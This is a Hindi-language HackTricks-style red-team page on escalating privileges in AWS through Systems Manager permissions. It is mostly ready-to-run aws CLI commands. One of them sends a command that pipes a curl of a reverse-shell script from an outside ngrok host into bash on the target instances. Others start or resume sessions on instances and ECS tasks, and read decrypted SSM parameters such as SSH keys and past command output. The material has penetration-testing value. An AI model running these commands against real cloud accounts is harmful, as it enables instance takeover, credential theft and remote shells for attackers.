AWS - SSM Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

SSM

SSM के बारे में अधिक जानकारी के लिए देखें:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

एक हमलावता जिसके पास ssm:SendCommand अनुमति है, Amazon SSM एजेंट चल रहे इंस्टेंसेस में कमांड निष्पादित कर सकता है और उसमें चल रहे IAM रोल को कंप्रोमाइज कर सकता है।

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

संभावित प्रभाव: SSM एजेंट चल रहे EC2 IAM रोल्स में सीधा प्रिविलेज इस्केलेशन।

ssm:StartSession

एक हमलावर जिसके पास ssm:StartSession अनुमति है, वह इंस्टेंस में SSH जैसा सेशन शुरू कर सकता है जो अमेज़ॅन SSM एजेंट चल रहे होते हैं और उसके अंदर चल रहे IAM रोल को कम्प्रोमाइज कर सकता है।

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

एक सत्र शुरू करने के लिए आपको SessionManagerPlugin इंस्टॉल करने की आवश्यकता है: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

संभावित प्रभाव: SSM एजेंट चल रहे EC2 IAM रोल्स में सीधा प्राइविलेज वृद्धि।

ECS को प्राइविलेज वृद्धि

जब ECS tasks ExecuteCommand सक्षम होते हैं, पर्याप्त अनुमतियों वाले उपयोगकर्ता ecs execute-command का उपयोग करके कंटेनर के अंदर कमांड चला सकते हैंदस्तावेज़ के अनुसार यह उस सुरक्षित चैनल को बनाने के द्वारा किया जाता है जो आपको "एक्ज़ेक्यूट" कमांड प्रारंभ करने के लिए उपयोग किए गए उपकरण और SSM सत्र प्रबंधक कंटेनर के बीच एक सुरक्षित चैनल बनाता है। इसलिए, ssm:StartSession वाले उपयोगकर्ता उस विकल्प के साथ ECS tasks के अंदर एक शैल मिल सकेंगे जिसे सक्षम करने के लिए केवल यह रन करना होगा:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

संभावित प्रभाव: ExecuteCommand सक्षम किए गए चल रहे tasks के साथ जुड़े ECS IAM roles में सीधा प्रिविलेज उन्नति।

ssm:ResumeSession

एक हमलावर जिसके पास ssm:ResumeSession अनुमति है, वह इंस्टेंस में चल रहे अमेज़न SSM एजेंट के साथ डिस्कनेक्टेड SSM सत्र स्थिति में एक SSH जैसा सत्र फिर से शुरू कर सकता है और उसके अंदर चल रहे IAM रोल को कमजोर कर सकता है।

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

संभावित प्रभाव: चल रही इंस्टेंसेज के साथ जुड़े EC2 IAM रोल्स में सीधा प्रिविलेज इस्केलेशन, SSM एजेंट चल रहे हों और डिस्कनेक्टेड सेशन्स।

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

उल्लेखित अनुमतियों के साथ हमलावर SSM पैरामीटर्स को सूचीबद्ध करने और उन्हें साफ-साफ पढ़ने की क्षमता रखेगा। इन पैरामीटर्स में आप अक्सर एसएसएच कुंजी या एपीआई कुंजी जैसी संवेदनशील जानकारी पाएंगे

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

संभावित प्रभाव: पैरामीटर्स में संवेदनशील जानकारी खोजें।

ssm:ListCommands

इस अनुमति वाले हमलावर के पास सभी कमांड्स की सूची बना सकते हैं और उम्मीद है कि उनमें संवेदनशील जानकारी मिलेगी।

aws ssm list-commands

संभावित प्रभाव: कमांड लाइन्स में संवेदनशील जानकारी खोजें।

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

इन अनुमतियों के साथ एक हमलावर सभी भेजी गई कमांड्स की सूची बना सकता है और उत्पन्न आउटपुट पढ़ सकता है, जिससे उम्मीद है कि उसमें संवेदनशील जानकारी मिलेगी।

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

संभावित प्रभाव: कमांड लाइन के आउटपुट में गोपनीय जानकारी खोजें।

Codebuild

आप एक कोडबिल्ड परियोजना में भी अंदर जा सकते हैं जो निर्माण किया जा रहा है:

pageAWS - Codebuild Privesc
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated